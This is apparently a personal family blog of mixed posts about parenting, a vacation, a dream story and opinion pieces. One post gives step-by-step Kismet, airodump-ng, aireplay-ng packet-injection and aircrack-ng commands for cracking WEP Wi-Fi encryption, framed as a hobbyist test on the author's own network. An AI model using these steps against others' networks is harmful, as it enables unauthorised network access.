Wii Fit Miffed (Part 2)

So, we finally managed to get our hands on a Wii Fit. I figured it'd be fun to have and, heck, maybe even be useful for motivating me to get in a better shape. So, first I have to input my info and take a balance test. Then, the Wii Fit tells me I'm completely uncoordinated and has the gall to ask me whether I trip a lot when I'm walking! Really? Insults right off the bat? Is this some sort of mind game???

Then, I play some of the games and it tells me that a third grader could do better. So, I had to play and play until I finally broke out of the insults category into the "You did ok" category.

Bastard Wii Fit... I hope there are some awesome games that use the board in the future!

Religious Beliefs Research Study

On a scale of 0-7:
0 = "Plead the Fifth" - (If you don't know what it means, you can't use it!)
1 = "Strongly Disagree"
2 = "Disagree"
3 = "Somewhat Disagree"
4 = "Neither Agree nor Disagree - Utterly undecided"
5 = "Somewhat Agree"
6 = "Agree"
7 = "Strongly Agree"

Comments after each response are encouraged but not required.

Overall...
1. The Bible is the Word of God.

2. The Bible 100% accurate and infallible.

3. The Bible is literal.

4. The Bible is allegorical.

5. In the history of the world, religions have done more good than bad.


Specifically...
1. The Creation story is literal - that's how the world was made.

2. The Adam and Eve story is literal - they were the first people.

3. Adam and Eve sinner and that sin was passed down to their children and so forth (concept of original sin).

4. The God of the Bible is the same God throughout the Bible (unchanging God).

5. The God of the Old Testament was a loving, caring God to all mankind.

6. Jesus "changed the rules" of the Old Testament.

7. People should still live by all of the super-strict laws of the Old Testament (specifically, the ones in Leviticus).

8. Its ok for modern believers to pick and choose which "rules" follow because times have changed.

9. The Earth is only between 5000-8000 years old.

10. You have doubts about your faith.

11. Evidence is less convincing than faith.

12. Everything the Pope says is as good as the Word of God.

13. If there were no religion, you would be a bad person and do bad things.

14. No amount of "evidence" would sway your faith.

15. Jesus existed as a flesh and blood person.

16. Jesus died and rose again.

17. Jesus sacrificed himself to forgive everyone of original sin, current sin, and all sin.

18. But, you have to accept Jesus as a personal savior in order to be eligible for the forgiveness.

19. Once you have been "saved," you can't be "unsaved."

20. Even if you aren't sure about God and Jesus, it's better to believe based on the "better safe than sorry" principle.

21. Even with all of the religions in the world, you are 100% sure your religion is the right one.

22. And you are willing to stake your eternal soul on it.

23. Your God values faith over logic (eg. when faith and logic are irreconcilable, your god would rather you choose faith).

24. Your God would rather you claim belief in him, even if you are unsure, rather than put off making a decision until you have more evidence.

25. Personal spiritual experiences are conclusive evidence of God.

Kid Free Days!

First Day of School!

Woo hoo! Today was the first day in roughly forever that all of the kids have been in school ALL day! The quiet in the house during the school day was deafening. It's amazing how much more time is in the day without all the arguing, fighting, whining, begging, and general kid-ness in it!

Amber went to school first and I think she was the most nervous because she was starting middle school. It was really her first experience in the "move around from class to class" environment. She made some friends and I think she will do fine. I think she will get a little overwhelmed when all the work starts to be assigned in earnest. But, she'll be fine in the end.

The hardest part about Emily and Carmen's school is the traffic. The city had been working last school year on the street that the school is on. They crept closer and closer to the school, and then, right at the end of the school year, they closed off the main intersection. It was timed perfectly so that they could work on the roads right next to the school during the summer and be all good to go by this fall. It didn't happen that way. I don't think they did much work at all during the summer and so now, the main road to the school is all torn up. This drives all of the traffic down our little road to get to the school. So now, instead of it being safe for the kids to bike to school, they have to deal with twice as much traffic! Crap.

Also, the school lets Carmen out of class 30 minutes before Emily, effectively screwing up the pick up schedule. We can pick Carmen up, come home, wait 10 minutes, or go pick Carmen up and wait at the school for 30 minutes. Crap. Oh well, it works out in the sense that all the kids are in school all day anyway!

So, here's to kid-free days!

Never the Same

Its never the same when you put it on paper. Even though the images are clear in my head, the black and white words just cant convey the feelings that they are meant to express.

It began with a reunion of sorts, I think it was like a family reunion, but there were also people from my work. Many of the Soldiers I had worked with were there, as were some family members. My wife, Sarah, was there as well - everyone was having a good time. The night was nearly over, and as I recall, we had had a good time.

As the evening drew to a close, we happened to find ourselves outside of a bar, or maybe a club, or maybe even a combination club, bar, pizza place. The music coming from it was loud and popular, instantly drawing our attention, even from the parking lot across the street. From the outside, it appeared as though there might have been strippers behind the frosted, hazed windows and the diffused yellow light seemed to illuminate their every smooth curve as they gyrated behind them. When strippers are that close, it's difficult to keep Soldiers away, especially after they've had a drink or two.

Imagine our disappointment when we entered the establishment to find it nearly deserted except for the one or two employees putting the chairs up on the tables, apparently ready to close up for the night. There was a bar, but there were no strippers. The illusion of strippers came from an set up in front of each window where mechanical devices, like robots, were dressed with flowing clothing to hide their otherwise sharp edges and angular frames. They appeared to dance when they were turned on and viewed from somewhere other than the side. From the bar, extra windows had been added inside to shield the patrons from the mechanations of the strippers. Each of the robot "strippers" even had a tip jar at the base of her window. After a few drinks, the illusion would be nearly complete.

Not willing to leave empty-handed, one of the Soldiers asked the manager to take a group photo of our weird reunion and she obliged - either to get us to leave, or just because she was a good person, who knows? While our photographer climbed up onto the bar to get a higher angle, we huddled our group together in the center of the main floor of the bar and looked up at the glassy eye of the camera. Too many things (I wouldn't call them thoughts because they were just images) flashed through my mind in the moments before the flash - the dead, unblinking eye of the camera, how the glow of the LCD eerily illuminated the face of the photographer like a ghost, that the music had died ushering in a stark, absolute silence, how each flash seemed to be the only light in the room, causing everyone to move in stutters in the darkness, to be illuminated soon after by the next flash - like a strobe. It just seemed to be bodies stuttering this way and that, smiles that became sneers in the dark and tattoos that came alive - menacing the watcher.

Eventually, the reunion must have broke up but the blinding flash bulbs in my mind seem to have wiped out whatever happened after them.

Then, I was standing outside, in the middle of small city. It was dark and raining, a slight chill rode the air. The buildings around seemed familiar and old. I had grown up in this city, and I think my mom may have worked in one of the nearby buildings. An empty fountain dominated in the center of the brick courtyard where I stood. It was getting on towards winter, and the fountain was empty. There were few people walking around, and they all seemed to hide in their long jackets or rain-coats. They weren't my concern either, and I'm sure I looked to hiding as well. I must have just gotten off the phone with my wife who was working late nearby (but I didn't know exactly where - except that she was warm and dry high up in her building, perhaps even overlooking the courtyard where I stood). It wasn't often she worked late, and I wasn't worried - we had just spoken on the phone and all was well. I had about an hour or so to kill.

An hour was not enough to go anywhere and do anything productive, besides, at 9 o'clock at night, there isn't much productive to do. I relegated myself to wandering the nearby area, exploring the urban environment and seeing where it would take me. I ventured to the back of the red brick courtyard toward a building I thought I might have been in before. As I approached the glass door which led to the entry-way, I was certain it would be locked - it was night after all. But, a small tug on the door and it swung open, the warmer air wafting out seemed somehow stale. As I stepped into the dimly lit entryway, I was overtaken by a sense of nostalgia - I had been here before, but I couldn't place when or why. In front of me stood the metal doors of an elevator and to my left, a narrow passage of stairs. I had a bad feeling about the elevator, so I started up the stairs, led by a sense of dark familiarity. The lights on the landing flickered as approached and passed under, but this too, seemed familiar. From the small landing, I could see down into the empty courtyard. The rain had picked up and puddles were forming. I continued up the stairs under the flickering lights.

At the top of the stairs was a set of double glass doors. Beyond them, a dimly lit hallway. Surely these doors would be locked. A slight cold draft gently pushed one door out towards me before the weight of the door became too much and it shut again. I stood there for a moment, feeling the pull to go in, but sensing a foreboding too. I looked through the glass to see what might be causing either feeling but recognized nothing. The doors led to an entryway beyond which a hallway ran away from me and then turned. Closed doors marred the smooth walls of the hallway - offices perhaps? Framed pictures hung in the hallway, and they seemed familiar. From outside the glass doors and from this far away, I couldn't make out any more than that they appeared to be of people, and they looked old. The ones I could see best were black and white, and seemed slightly out of focus. Curiosity got the best of me and when another draft pushed the door open towards me, I slid my fingers in to catch it before it could shut again.

Once inside the dark entryway, it felt colder. A window open somewhere could have been causing the draft and dropping the temperature - but it must have been a big window, because it was cold. I started down the hallway, wanting to examine the pictures more closely. I glanced at first few pictures, which were faded and yellow with age. The paper behind the glass was curing at the edges. I know the people in them looked familiar, but I couldn't place them.

I was startled when my phone rang, the loudness of it in the quiet was almost painful. I reached into my pocket and pulled the phone out, pulling out with it a cloth tape measure (where did that come from?). Momentarily, the trance of familiarity and foreboding was broken as I heard my wife's voice again. She would be off earlier than expected, perhaps a half hour.

"That's great, so I'll see you soon."

...

"No, it's fine, I'm just exploring whatever buildings are open."

...

"It's weird, these pictures are so familiar, but so old, where am I? What the? What is this? This is us - you and me - its so old..."

I had slipped back into the trance again. My hand fell away from my ear, as did the phone. I could hear my wife, talking, questioning, but so far away. I had been walking down the hall, talking on the phone, when I saw another familiar picture. It too was yellowed, and somewhat blurry, but the faces were undeniable - I was looking a picture of myself and my wife, taken at the bar. It couldn't have been THAT long ago, and how did it get here? The cloth tape measure had unraveled and was dragging on the floor behind me as I held the end in my hand with the phone. The picture of us was blurry and almost seemed to have a life of its own under the flickering fluorescents. Seriously unnerved at this point, I moved back towards the entryway to reexamine the other pictures. Now they were placeable too - all of the pictures in the hall seemed to be from that bar, and they all seemed to be of that renunion we had. But, the angles were wrong for having been taken by one camera. Some were close-ups, the wriggling tattoos, the strobes illuminating decomposed flesh, the mechanical strippers in the background peeling back their silky coverings and emerging from behind their frosted glass. Each picture seemed alive in the alternating dark and bright lights. My heart raced and I was on the edge of panic as I continued down the hall, remembering another exit at the end of the hallway. With the last corner in sight, I remembered my phone, I could hear my wife from a thousand miles away, and I could hear the panic in her voice. Had I been talking? What had I been saying?

I found myself looking at the ground, back down the hall, away from the last corner, was a piece of my cloth tape measure. I needed to gather it up, so I could put it back together. I walked back to it and picked it up. Then I saw another small yellow piece of tape, the 24" to 28" strip further away and I went to it too. As I picked it up, there was another, closer, but still I had to follow it. Somewhere deep in my mind, I knew I was being led - but by what and where to? And why did I NEED the pieces of the tape measure? I could hear my phone screaming at me - so far away, but so urgent - to get out, that I was scaring her, to forget the tape measure, to run, escape! Now! Something in her voice broke through the trace, the pictures, the smell of death was so close - for a moment I had control. I bolted towards the last corner, the exit. Bits of tape measure appeared on the floor in front of me - one after the other, they littered the floor, begging me to pick them up - just one more piece! Then another.

It was the screaming that stopped me from bending over to pick them up. It was in my head, it was in my phone, it was so close and so far away. The pictures flashed by and were talking to me, their lips moving without sound - or was it the lights. I ran, crashed around the corner, my feet kicking through piles of yellow tape measure, measurements flying ahead of me, behind me. The pictures were screaming soundlessly, the light buzzed ferociously. Finally I saw the exit door, and was grimly certain it WOULD be locked. In slow motion I ran, seeing the rain fall outside the glass, seeing the stairs slick wet with it. Thinking it wouldn't give, that I would be trapped, I hit the door without slowing down - and crashed through as the door swung easily open. I stumbled out onto the stairs, down the stairs, into the street. Then I started walking. My heart raced and when I glanced back, I saw the door I had just come through close gently on the quiet, dimly lit hallway. But the pictures still moved.

I put my hand back to my ear to speak into my phone, but it wasn't there. In my mind, I remembered setting it down on the pedestal, beside the picture of us. I turned again towards the door, and dreaded, feared and ached to go get my phone. I knew right where it was - down the hallway, on the ledge. And I started back.

Victory for Terrorism

Random House, a major book publisher in the US, has cancelled a contract with author Sherry Jones because her book, "Jewel of Medina," might have offended some Muslims. The book is a historical novel about the life of A'isha, the 12th wife of the Muslim Prophet Muhammad.

http://www.missoulian.com/articles/2008/08/16/news/local/news04.txt

This is a clear victory for Islamic Fanatics and terrorists because they have managed to censor the free-speech of someone else, and negatively impact the literary career of someone simply through the fear of how a minority of Muslims MIGHT react when offended. A small minority has dictated the choices made by a major book publisher. Islamic fanatics have managed to instill enough fear in not only the population, but also publishers to make them think twice about publishing something that may be offensive to "Muslims."

If Ms. Jones decides to publish the book herself (ie. through Lulu or some other self-publisher), I would buy the book simply BECAUSE Random House caved to possible pressure.

Woot! I cracked my own 128-bit WEP encrypted network!

You may not care, but I do! (And yes, I know that WEP is soooo outdated now, but still...)

This is using a stock Asus EEE PC 8G with stock drivers.
I installed Backtrack3 on a 1gig USB drive and booted up with it.

My Asus is my first Linux experience and all of the information I used is from this page: "http://ryanunderdown.com/2007/02/12/cracking-wep-using-backtrack/"

I had to modify some of my commands for whatever reason, but it wasn't too hard after some Googling to get more effective commands.

I have no specific knowledge of Linux operating systems or hacking networks. I set up a network with a DLink Router using 128-bit WEP encryption.
I hacked my OWN network, not anyone else's.

I did notice that until I made one of my computers re-connect to the secure network, I was not picking up any arp (ivs) packets that I needed in order to decrypt.

One problem I had (have) is that after I successfully cracked the password, I couldn't figure out how to get my wireless device out of monitor mode. I simply reset the computer and input the password to make sure it worked. I thought that by quitting kismet it would come back, but it didn't. Stopping and restarting it also didn't work.

The website listed above is a great, simple run-down of how to do this, and below are the specific commands I used to accomplish the crack.

Open Kismet
Select ath0
Press "s" to arrange networks
Press "P" to arrange by # packets
Press "L" to lock the channel on selected channel
Press "enter" on network to get name (SSID) and MAC (BSSID) and Channel (1-11)
Press "c" to make sure you have clients on the network in question

Use airodump to capture IV packets (the ones with password info)
type "airodump-ng --ivs -w /root/Desktop/ --channel "
this will put two files on your desktop (-01.ivs & -01.txt) ; these files are capturing the ivs packets you need to decrypt the network password

Associate wireless card with aireplay for packet injecting
type "aireplay-ng -1 0 -e -a -h ath0"
-1 = type of attack = fake AP authentication
0 = delay in attack
-e = SSID (name) of Access Point
-a = (Access Point MAC)
-h = WIFI CARD MAC
ath0 = wireless interface ID

Start Packet Injection
type "aireplay-ng -3 -b -h "

When you have about 250-500k IV packets (not total packets) you can move on.

Using aircrack
TYPE "aircrack-ng -s /root/Desktop/-01.ivs"
This will bring up a network list to crack - pick the one you want
This will analyze the packets and look for the passwords in the ivs files

New Hole!

So, today my oldest daughter added a new hole to her head.  I took her out to get her nose pierced.  She's been asking for one for awhile now, and I have had no real objection to it.  Then she started asking for a "Monroe" piercing (high on the upper lip, like Marilyn Monroe's mole).  I think those look kinda silly.  So, I compromised.  I let her get the nose piercing in exchange for not asking for the "Monroe."  For me, its a trade of something I don't mind (the nose piercing) for something I do (the "Monroe").  We both win.

Originally, we were going to have the job done at the "Claire's" in the mall, like we did with her ears, but when I did a little research, I found that those places (mall piercing places) aren't exactly renowned for their sterility and experience.  People who get piercings there are more likely to develop an infection.  So, I did some research for body piercing places in the area and picked out a place called "Painless Steel Tattoo."

When we arrived, the guy in charge was friendly and asked all the questions we expected - age, ID, and parental consent.  The store was well lit and exceptionally clean.  Then we filled out the paperwork and Amber picked the stud she wanted (clear/white).  Then we waited.

After a few minutes, she was called into a back room where Amber was told what to expect and what was going to happen.  She was a little nervous, but handled it well.  Soon enough, the piercer had stuck the needle through Amber's nose, twisted it around, and cut off the excess.  Amber barely flinched.





Then she started talking about a tattoo.  The answer to that one is "no."  Why?  Because tattoos are forever - if you don't like it, too bad.  Piercings can heal up if you grow out of them.

Almost done with Summer!

Summer is about over.  After weeks of too much fun in the sun, it is nearly time for the kids (and myself) to get back to the grindstone.  Thankfully all of the kids will be in school!

Last week, we went back to Spokane to drop off David and Lana and to have a little family reunion.  Everything went well, except the eating - we had wayyyyyyy too much junk food.

 

The first day we left home on a breakfast of huckleberry and raspberry milkshakes.  We had lunch from Little Cesears in Spokane and then a lunch-dessert at ColdStone Creamery because D&L hadn't ever been there!  I had a nice raspberry sorbet.  It was refreshing.  It was small and still very filling.  Every time we go to Coldstone, it feels more like a meal than a dessert.


Our next course of business was to go to mom's house and let the kids go for a little dip.  They swam for about an hour before D&L were picked up.  Next we had to get to a lunch at Northtown Mall (Chilis?) with Grandma Bettie.



We had a nice lunch with her on her birthday.  We gave her a new cell phone as a present because she is always traveling between Newport and Spokane, and Montana and Walla Walla - she's a real traveler!

We went back to Grandma Betsy's (with the pool) and chit-chatted with the other family that was in town for the reunion (and was staying at the house too).  Then we all went to dinner at Red Robin.  I have never eaten at more restaurants in one day than that day.



In the morning, SA made a big breakfast and fed the army that was staying at the house.  She made biscuits, gravy, sausage, pancakes and eggs for everyone.  It was nummy.

Then we went to the reunion where we re-met a bunch of other relatives and hung out at the park.  SA was able to talk us out of a $250 ticket for driving on the grass while we were loading up the Jeep with tables and chairs while picking up.  Go her!







Back at the house, we continued the chit-chat and entered into the story of "Aud" as told by Grandma Betsy.  It was long story, full of flash-fowards and flash-backs - much like the TV show "Lost."  At some point, Bill managed to offend a cousin by quoting a passage from the "Book of Aud" about "pelvis's and clits."  It actually took longer than I thought it would.  Meanwhile, the kids swam.

A favorite game of the kids in the pool is one where I try to hit them with the little colored balls.  I have to admit, it IS fun to whap the kids on the head with a ball.



Those kids will play in the pool whether its cold or hot.  It was hot the first day and cold the rest.  I was happy not being in the water.  SA went for a late night cool-off the first night.

On Sunday, we were planning to leave, but the kids wanted to stay longer - so we stayed an extra day.  We took the girls out geocaching and then to the mall where we picked up some extra school-clothes and let the kids blow their allowances.  Amber picked out some shirts and hair extension (pink) from Hot Topic and Wet Seal and Emily got something from Hot Topic as well.  Which reminds me, I need to go deduct that from her allowance.

I think we also went garage saleing at some point and picked up some other school clothes.  We got Amber this dress that is pretty awesome.  Maybe she'll wear it to her first day of Junior High - it'll give her an instant first impression the school will never forget.




We stayed up and played some Texas Hold 'Em with Bill, Betsy and Uncle Jeff and, in the end, set Betsy up with a pair of 8's in the hole and then stacked the deck with 8's on the flop - just to see her reaction.  Then we played it through.  Betsy would raise and others would call or raise in turn.  It was getting to be a big pot.  Once we came down to it, Bill mentioned the "rule change" whereby Four-Of-A-Kind is worthless.  The look was priceless.

That night, we heard that Alyssa's baby was in some trouble at the hospital and so we tried to help them and get a message to Chris at Basic Training.  We also introduced Aunti Lin and Cousin Shannon ("Princess Cool" according to Carmen) to geocaching when we placed (with permission) our "Bookmarks the Spot" cache in Grandma Betsy's front yard.  

On Monday, we packed up our stuff (and some of the stuff Grandma Betsy was trying to get rid of), and headed out.  On the way out of town, we tried to get ahold of Alyssa again to see how the baby was doing and to see if we should come visit, but we couldn't get ahold of her.  We stuck around and hit some geocaches all down Division.  Then we headed home - hitting caches along the way, including one at an old train bridge in Saltese, MT.




SA talked to Alyssa on the phone and found out that her baby didn't have dead bowels, but instead has Ecoli.  Strange enough, this is GOOD news because Ecoli is easier to live through than dead bowels.

Finally we made it home and were immediately greeted with enthusiasm by Aurora and Stormy.  Whew.  One more trip and we're done for a few weeks.

Adventures in Vacationing (Day 1)

The first day of our vacation was really more of a set-up day. We drove from Missoula, Montana to Spokane, Washington - not a far drive. On that trip, we learned that the Army poncho we had on our gear in the roof basket might be problematic. It was nice to keep out any rain and bugs, but the corners couldn't be secured well and flapped around, smacking the top of the Jeep.

We rolled into Spokane in the mid-afternoon and first drove up to Aud's (recently decreased Grandmother) house to check on the Estate Sale and see how Bill was doing. He was snoozing, but his motion detector fish gave us away with a rousing chorus of something I can't recall.

Then we entered the "gym" and stared in awe at the wonder of it. The huge room was full of five yard sales worth of other people's crap. It appears that a fully enclosed space is perfect for garage saleing during any weather. Why not take advantage of such a perfect space??? It appears as though many neighbors have. We browsed around, tried desperately to keep the kids from snatching anything up, and chit-chatted for awhile.

After breaking away from the never-ending-sale, we went to our favorite local pizza place - Pizza Rita - for some decent pizza and visiting with past co-workers.

Pizza Rita is a funny place because its like a black hole. Once you work there, you always come back. It pays too well (or at least it did in the days of $1.25 gas) to quit for a different job - especially with tips; but it doesn't pay enough to really get ahead at any point - and there is definitely no future in it. Its like purgatory, with free (or reduced) food.

After that, we took the pizzas back to Grandma Betsy's and Bill's house and ate up. We chitchatted for awhile while the kids played in the pool. Eventually, it turned into a game where I would try to throw balls at the kids. They like games like that for some reason.

All of our talking made them miss going to see Ben bowl - too bad. Finally, we put the kids to bed downstairs and after awhile, we went to bed as well. Needed to get a good night's rest for the upcoming vacation.